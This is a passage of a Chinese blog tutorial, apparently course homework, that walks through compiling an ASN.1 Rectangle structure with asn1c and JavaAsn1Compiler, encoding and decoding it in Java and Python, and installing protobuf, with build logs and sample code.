class="line">Copied /usr/local/share/asn1c/OPEN_TYPE.c-&gt; OPEN_TYPE.c</span><br><span class="line">Copied /usr/local/share/asn1c/constr_CHOICE.h-&gt; constr_CHOICE.h</span><br><span class="line">Copied /usr/local/share/asn1c/INTEGER.h-&gt; INTEGER.h</span><br><span class="line">Copied /usr/local/share/asn1c/INTEGER.c-&gt; INTEGER.c</span><br><span class="line">Copied /usr/local/share/asn1c/NativeInteger.h-&gt; NativeInteger.h</span><br><span class="line">Copied /usr/local/share/asn1c/NativeInteger.c-&gt; NativeInteger.c</span><br><span class="line">Copied /usr/local/share/asn1c/constr_CHOICE.c-&gt; constr_CHOICE.c</span><br><span class="line">Copied /usr/local/share/asn1c/constr_SEQUENCE.h-&gt; constr_SEQUENCE.h</span><br><span class="line">Copied /usr/local/share/asn1c/constr_SEQUENCE.c-&gt; constr_SEQUENCE.c</span><br><span class="line">Copied /usr/local/share/asn1c/asn_application.h-&gt; asn_application.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_application.c-&gt; asn_application.c</span><br><span class="line">Copied /usr/local/share/asn1c/asn_ioc.h-&gt; asn_ioc.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_system.h-&gt; asn_system.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_codecs.h-&gt; asn_codecs.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_internal.h-&gt; asn_internal.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_internal.c-&gt; asn_internal.c</span><br><span class="line">Copied /usr/local/share/asn1c/asn_random_fill.h-&gt; asn_random_fill.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_random_fill.c-&gt; asn_random_fill.c</span><br><span class="line">Copied /usr/local/share/asn1c/asn_bit_data.h-&gt; asn_bit_data.h</span><br><span class="line">Copied /usr/local/share/asn1c/asn_bit_data.c-&gt; asn_bit_data.c</span><br><span class="line">Copied /usr/local/share/asn1c/OCTET_STRING.h-&gt; OCTET_STRING.h</span><br><span class="line">Copied /usr/local/share/asn1c/OCTET_STRING.c-&gt; OCTET_STRING.c</span><br><span class="line">Copied /usr/local/share/asn1c/BIT_STRING.h-&gt; BIT_STRING.h</span><br><span class="line">Copied /usr/local/share/asn1c/BIT_STRING.c-&gt; BIT_STRING.c</span><br><span class="line">Copied /usr/local/share/asn1c/asn_codecs_prim.c-&gt; asn_codecs_prim.c</span><br><span class="line">Copied /usr/local/share/asn1c/asn_codecs_prim.h-&gt; asn_codecs_prim.h</span><br><span class="line">Copied /usr/local/share/asn1c/ber_tlv_length.h-&gt; ber_tlv_length.h</span><br><span class="line">Copied /usr/local/share/asn1c/ber_tlv_length.c-&gt; ber_tlv_length.c</span><br><span class="line">Copied /usr/local/share/asn1c/ber_tlv_tag.h-&gt; ber_tlv_tag.h</span><br><span class="line">Copied /usr/local/share/asn1c/ber_tlv_tag.c-&gt; ber_tlv_tag.c</span><br><span class="line">Copied /usr/local/share/asn1c/ber_decoder.h-&gt; ber_decoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/ber_decoder.c-&gt; ber_decoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/der_encoder.h-&gt; der_encoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/der_encoder.c-&gt; der_encoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/constr_TYPE.h-&gt; constr_TYPE.h</span><br><span class="line">Copied /usr/local/share/asn1c/constr_TYPE.c-&gt; constr_TYPE.c</span><br><span class="line">Copied /usr/local/share/asn1c/constraints.h-&gt; constraints.h</span><br><span class="line">Copied /usr/local/share/asn1c/constraints.c-&gt; constraints.c</span><br><span class="line">Copied /usr/local/share/asn1c/xer_support.h-&gt; xer_support.h</span><br><span class="line">Copied /usr/local/share/asn1c/xer_support.c-&gt; xer_support.c</span><br><span class="line">Copied /usr/local/share/asn1c/xer_decoder.h-&gt; xer_decoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/xer_decoder.c-&gt; xer_decoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/xer_encoder.h-&gt; xer_encoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/xer_encoder.c-&gt; xer_encoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/per_support.h-&gt; per_support.h</span><br><span class="line">Copied /usr/local/share/asn1c/per_support.c-&gt; per_support.c</span><br><span class="line">Copied /usr/local/share/asn1c/per_decoder.h-&gt; per_decoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/per_decoder.c-&gt; per_decoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/per_encoder.h-&gt; per_encoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/per_encoder.c-&gt; per_encoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/per_opentype.h-&gt; per_opentype.h</span><br><span class="line">Copied /usr/local/share/asn1c/per_opentype.c-&gt; per_opentype.c</span><br><span class="line">Copied /usr/local/share/asn1c/oer_decoder.h-&gt; oer_decoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/oer_encoder.h-&gt; oer_encoder.h</span><br><span class="line">Copied /usr/local/share/asn1c/oer_support.h-&gt; oer_support.h</span><br><span class="line">Copied /usr/local/share/asn1c/oer_decoder.c-&gt; oer_decoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/oer_encoder.c-&gt; oer_encoder.c</span><br><span class="line">Copied /usr/local/share/asn1c/oer_support.c-&gt; oer_support.c</span><br><span class="line">Copied /usr/local/share/asn1c/OPEN_TYPE_oer.c-&gt; OPEN_TYPE_oer.c</span><br><span class="line">Copied /usr/local/share/asn1c/INTEGER_oer.c-&gt; INTEGER_oer.c</span><br><span class="line">Copied /usr/local/share/asn1c/BIT_STRING_oer.c-&gt; BIT_STRING_oer.c</span><br><span class="line">Copied /usr/local/share/asn1c/OCTET_STRING_oer.c-&gt; OCTET_STRING_oer.c</span><br><span class="line">Copied /usr/local/share/asn1c/NativeInteger_oer.c-&gt; NativeInteger_oer.c</span><br><span class="line">Copied /usr/local/share/asn1c/constr_CHOICE_oer.c-&gt; constr_CHOICE_oer.c</span><br><span class="line">Copied /usr/local/share/asn1c/constr_SEQUENCE_oer.c-&gt; constr_SEQUENCE_oer.c</span><br><span class="line">Generated Makefile.am.libasncodec</span><br><span class="line">Copied /usr/local/share/asn1c/converter-example.c-&gt; converter-example.c implicit</span><br><span class="line">Generated pdu_collection.c</span><br><span class="line">Generated converter-example.mk</span><br><span class="line">Copied /usr/local/share/asn1c/converter-example.c-&gt; converter-example.c implicit</span><br><span class="line">Generated pdu_collection.c</span><br><span class="line">Generated Makefile.am.asn1convert</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/2.png"                      alt="asn1c编译输出"                ></p><h3 id="3-使用JavaAsn1Compiler进行编译和编码"><a href="#3-使用JavaAsn1Compiler进行编译和编码" class="headerlink" title="3.使用JavaAsn1Compiler进行编译和编码"></a>3.使用JavaAsn1Compiler进行编译和编码</h3><h4 id="JavaAsn1Compiler编译"><a href="#JavaAsn1Compiler编译" class="headerlink" title="JavaAsn1Compiler编译"></a>JavaAsn1Compiler编译</h4><p>以Ubuntu为例，先进入 JAC.jar所在的目录，也就是JavaAsn1Compiler_3.0\lib\，再在终端中执行命令：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">java -jar JAC.jar  -d 编译后生成文件的地址  -p rectangle rectangle.asn1的地址 </span><br><span class="line">java -jar JAC.jar -d ~/桌面/asn/asn-java   -p rectangle ~/桌面/asn/asn-java/rectangle.asn1</span><br></pre></td></tr></table></figure></div><p>编译成功后会在指定的输出目录（-d后的目录）生成文件夹，里面包含一个.java文件</p><h4 id="进行编码"><a href="#进行编码" class="headerlink" title="进行编码"></a>进行编码</h4><h5 id="编写java文件"><a href="#编写java文件" class="headerlink" title="编写java文件"></a>编写java文件</h5><p>在编译生成的.java文件，也就是Rectangle.java文件中类里面添加以下代码，来给数据结构赋值。以下的代码要包在类里，也就是加在最后一个}的前面。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String []args)</span> &#123;</span><br><span class="line">  <span class="comment">// 创建输出流变量</span></span><br><span class="line">  <span class="type">ByteArrayOutputStream</span> <span class="variable">outStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">  <span class="type">BerOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BerOutputStream</span>(outStream);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 对rec这个类进行赋值</span></span><br><span class="line">  <span class="comment">// 赋值结果为rec(author= b&#x27;1234&#x27;, title = b&#x27;1234&#x27;, height = 1011, width = 21)</span></span><br><span class="line">  <span class="type">Rectangle</span> <span class="variable">rec</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Rectangle</span>();</span><br><span class="line">  <span class="type">byte</span>[] name = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">4</span>];</span><br><span class="line">  name[<span class="number">0</span>] = <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line">  name[<span class="number">1</span>] = <span class="string">&#x27;2&#x27;</span>;</span><br><span class="line">  name[<span class="number">2</span>] = <span class="string">&#x27;3&#x27;</span>;</span><br><span class="line">  name[<span class="number">3</span>] = <span class="string">&#x27;4&#x27;</span>;</span><br><span class="line">  rec.author.setValue(name);</span><br><span class="line">  rec.title.setValue(name);</span><br><span class="line">  rec.height.setValue(<span class="number">1011</span>);</span><br><span class="line">  rec.width.setValue(<span class="number">21</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 对输出变量进行编码</span></span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    rec.encode(out);</span><br><span class="line">    System.out.println(out.toString());</span><br><span class="line">  &#125;<span class="keyword">catch</span> (java.io.IOException e1)&#123;</span><br><span class="line">    System.out.println(e1);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 将编码后的结果写入test_rec文件，此时文件是二进制数据</span></span><br><span class="line">  <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;test_rec&quot;</span>);</span><br><span class="line">  <span class="keyword">try</span>&#123;</span><br><span class="line">    <span class="type">OutputStream</span> <span class="variable">outFile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(f);</span><br><span class="line">    <span class="keyword">try</span>&#123;outFile.write(outStream.toByteArray());&#125;</span><br><span class="line">    <span class="keyword">catch</span> (java.io.IOException e2)&#123;</span><br><span class="line">      System.out.println(e2);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;<span class="keyword">catch</span>(java.io.FileNotFoundException e1)&#123;</span><br><span class="line">    System.out.println(e1);</span><br><span class="line">  &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure></div><h5 id="编译java文件"><a href="#编译java文件" class="headerlink" title="编译java文件"></a>编译java文件</h5><p>使用javac Rectangle.java命令进行编译，发现报错：</p><p>报错一：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/3.png"                      alt="报错一"                ></p><p>将Rectangle.java复制到 JavaAsn1Compiler&#x2F;JavaAsn1Compiler_3.0&#x2F;Eclipse Project&#x2F;JavaAsn1Compiler&#x2F;src&#x2F; 中再进行编译，此时可能会产生以下的报错。</p><p>报错二</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/4.png"                      alt="报错二"                ></p><p>根据报错信息找到相应的文件，找到乱码发现不影响程序功能，直接删除就行。</p><p>报错三：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/5.png"                      alt="报错三"                ></p><p>缺少相关的库，在java编译asn1文件之后的文件中，也就是Rectangle.java中，加入如下内容:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">import com.chaosinmotion.asn1.*;</span><br><span class="line">import java.io.*;</span><br></pre></td></tr></table></figure></div><p>报错四：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/6.png"                      alt="报错四"                ></p><p>根据报错信息，找到指定文件，在相应位置加上 @Deprecated</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/7.png"                      alt="解决报错四"                ></p><p>Rectangle.java文件最终代码如下：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> rectangle;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Created by JAC (Java Asn1 Compiler)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.turkcelltech.jac.*;</span><br><span class="line"><span class="keyword">import</span> com.chaosinmotion.asn1.Tag;</span><br><span class="line"><span class="keyword">import</span> com.chaosinmotion.asn1.*;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Rectangle</span> <span class="keyword">extends</span> <span class="title class_">Sequence</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * if you want to set/fill an element below, just call the setValue(..) method over its instance.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * To encode/decode your object, just call encode(..) decode(..) methods.</span></span><br><span class="line"><span class="comment"> * See &#x27;TestProject.java&#x27; in the project to examine encoding/decoding examples</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">ASN1Integer</span> <span class="variable">height</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ASN1Integer</span>(<span class="string">&quot;height&quot;</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="type">ASN1Integer</span> <span class="variable">width</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ASN1Integer</span>(<span class="string">&quot;width&quot;</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="type">OctetString</span> <span class="variable">author</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">OctetString</span>(<span class="string">&quot;author&quot;</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="type">OctetString</span> <span class="variable">title</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">OctetString</span>(<span class="string">&quot;title&quot;</span>);</span><br><span class="line"><span class="comment">/* end of element declarations */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* asn.1 SEQUENCE constructor</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">public</span></span><br><span class="line"><span class="title function_">Rectangle</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">super</span>();</span><br><span class="line">setUpElements();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">* asn.1 SEQUENCE constructor with its name</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">public</span></span><br><span class="line"><span class="title function_">Rectangle</span><span class="params">(String name)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">super</span>(name);</span><br><span class="line">setUpElements();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">protected</span> <span class="keyword">void</span></span><br><span class="line"><span class="title function_">setUpElements</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">super</span>.addElement(height);</span><br><span class="line"><span class="built_in">super</span>.addElement(width);</span><br><span class="line"><span class="built_in">super</span>.addElement(author);</span><br><span class="line"><span class="built_in">super</span>.addElement(title);</span><br><span class="line"><span class="comment">/* end of element setup */</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String []args)</span> &#123;</span><br><span class="line">  <span class="comment">// 创建输出流变量</span></span><br><span class="line">  <span class="type">ByteArrayOutputStream</span> <span class="variable">outStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">  <span class="type">BerOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BerOutputStream</span>(outStream);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 对rec这个类进行赋值</span></span><br><span class="line">  <span class="comment">// 赋值结果为rec(author= b&#x27;1234&#x27;, title = b&#x27;1234&#x27;, height = 1011, width = 21)</span></span><br><span class="line">  <span class="type">Rectangle</span> <span class="variable">rec</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Rectangle</span>();</span><br><span class="line">  <span class="type">byte</span>[] name = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">4</span>];</span><br><span class="line">  name[<span class="number">0</span>] = <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line">  name[<span class="number">1</span>] = <span class="string">&#x27;2&#x27;</span>;</span><br><span class="line">  name[<span class="number">2</span>] = <span class="string">&#x27;3&#x27;</span>;</span><br><span class="line">  name[<span class="number">3</span>] = <span class="string">&#x27;4&#x27;</span>;</span><br><span class="line">  rec.author.setValue(name);</span><br><span class="line">  rec.title.setValue(name);</span><br><span class="line">  rec.height.setValue(<span class="number">1011</span>);</span><br><span class="line">  rec.width.setValue(<span class="number">21</span>);</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 对输出变量进行编码</span></span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    rec.encode(out);</span><br><span class="line">    System.out.println(out.toString());</span><br><span class="line">  &#125;<span class="keyword">catch</span> (java.io.IOException e1)&#123;</span><br><span class="line">    System.out.println(e1);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// 将编码后的结果写入test_rec文件，此时文件是二进制数据</span></span><br><span class="line">  <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;test_rec&quot;</span>);</span><br><span class="line">  <span class="keyword">try</span>&#123;</span><br><span class="line">    <span class="type">OutputStream</span> <span class="variable">outFile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(f);</span><br><span class="line">    <span class="keyword">try</span>&#123;outFile.write(outStream.toByteArray());&#125;</span><br><span class="line">    <span class="keyword">catch</span> (java.io.IOException e2)&#123;</span><br><span class="line">      System.out.println(e2);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;<span class="keyword">catch</span>(java.io.FileNotFoundException e1)&#123;</span><br><span class="line">    System.out.println(e1);</span><br><span class="line">  &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>再执行一次javac命令就会生成一个Rectangle.class文件：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/8.png"                      alt="生成class文件"                ></p><h5 id="执行Rectangle-class"><a href="#执行Rectangle-class" class="headerlink" title="执行Rectangle.class"></a>执行Rectangle.class</h5><p>执行java Rectangle命令，发现报错：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/9.png"                      alt="class报错"                ></p><p>原因是Rectangle.java文件中写了package rectangle，所以我们要在src目录下新建rectangle文件夹，将Rectangle.class文件复制进去，在src目录下打开终端执行java rectangle&#x2F;Rectangle 命令，会生成编码文件test_rec。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/10.png"                      alt="生成编码文件"                ></p><h3 id="4-使用python进行解码"><a href="#4-使用python进行解码" class="headerlink" title="4.使用python进行解码"></a>4.使用python进行解码</h3><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pyasn1.<span class="built_in">type</span> <span class="keyword">import</span> univ, namedtype</span><br><span class="line"><span class="keyword">from</span> pyasn1.codec.der.decoder <span class="keyword">import</span> decode</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Rectangle</span>(univ.<span class="type">Sequence</span>):</span><br><span class="line">    componentType = namedtype.NamedTypes(</span><br><span class="line">        namedtype.NamedType(<span class="string">&#x27;height&#x27;</span>, univ.Integer()),</span><br><span class="line">        namedtype.NamedType(<span class="string">&#x27;width&#x27;</span>, univ.Integer()),</span><br><span class="line">        namedtype.NamedType(<span class="string">&#x27;author&#x27;</span>, univ.OctetString()),</span><br><span class="line">        namedtype.NamedType(<span class="string">&#x27;title&#x27;</span>, univ.OctetString()),</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">text = <span class="built_in">open</span>(<span class="string">&#x27;C:/Users/86157/Desktop/JavaAsn1Compiler_3.0/Eclipse Project/JavaAsn1Compiler/src/test_rec&#x27;</span>,<span class="string">&#x27;rb&#x27;</span>).read()</span><br><span class="line">received_record, rest_of_substrate = decode(text, asn1Spec = Rectangle())</span><br><span class="line"><span class="keyword">for</span> field <span class="keyword">in</span> received_record:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;&#123;&#125; is &#123;&#125;&#x27;</span>.<span class="built_in">format</span>(field,received_record[field]))</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/11.png"                      alt="python解码"                ></p><h3 id="5-protobuffer实现"><a href="#5-protobuffer实现" class="headerlink" title="5.protobuffer实现"></a>5.protobuffer实现</h3><h4 id="安装配置Protobuffer"><a href="#安装配置Protobuffer" class="headerlink" title="安装配置Protobuffer"></a>安装配置Protobuffer</h4><h5 id="源文件下载"><a href="#源文件下载" class="headerlink" title="源文件下载"></a>源文件下载</h5><p>官方的 release 包是托管在 GitHub 的：<a class="link"   href="https://github.com/protocolbuffers/protobuf/releases" >https://github.com/protocolbuffers/protobuf/releases <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>按需选择对应架构的源码包，我这里选择：<a class="link"   href="https://github.com/protocolbuffers/protobuf/releases/download/v21.12/protobuf-all-21.12.zip" >protobuf-all-21.12.zip <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h5 id="添加依赖"><a href="#添加依赖" class="headerlink" title="添加依赖"></a>添加依赖</h5><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install autoconf automake libtool curl make g++ unzip -y</span><br></pre></td></tr></table></figure></div><h5 id="编译-x2F-安装"><a href="#编译-x2F-安装" class="headerlink" title="编译&#x2F;安装"></a>编译&#x2F;安装</h5><p>解压上述源码包，cd 到解压目录，执行：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">./autogen.sh</span><br><span class="line">./configure</span><br><span class="line">sudo make</span><br><span class="line">sudo make install</span><br><span class="line">#刷新动态库配置</span><br><span class="line">sudo ldconfig</span><br><span class="line">#检查版本</span><br><span class="line">protoc --version</span><br></pre></td></tr></table></figure></div><h4 id="编译proto"><a href="#编译proto" class="headerlink" title="编译proto"></a>编译proto</h4><p>首先根据上述数据结构编写proto文件</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">syntax = &quot;proto2&quot;;</span><br><span class="line">message Rectangle &#123;</span><br><span class="line">  required int32 height = 1;</span><br><span class="line">  required int32 width = 2;</span><br><span class="line">  optional string author = 3;</span><br><span class="line">  optional string title = 4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>生成python，java，cpp文件</p><div class="highlight-container" 